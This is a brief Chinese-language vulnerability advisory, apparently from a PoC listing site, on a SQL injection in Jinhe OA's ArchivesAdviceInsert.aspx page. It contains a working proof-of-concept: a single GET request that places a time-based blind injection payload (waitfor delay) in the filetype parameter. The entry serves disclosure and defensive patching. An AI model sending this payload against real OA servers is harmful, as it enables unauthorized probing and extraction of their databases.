金和OA ArchivesAdviceInsert.aspx SQL注入漏洞

日期: 2025-11-10 | 影响软件: 金和OA | POC: 已公开

漏洞描述

金和OA ArchivesAdviceInsert.aspx SQL注入漏洞

PoC代码

GET /c6/Jhsoft.Web.Archives/ArchivesAdviceInsert.aspx/?fileid=1&filetype=1'waitfor delay'0:0:5'-- HTTP/1.1

相关漏洞推荐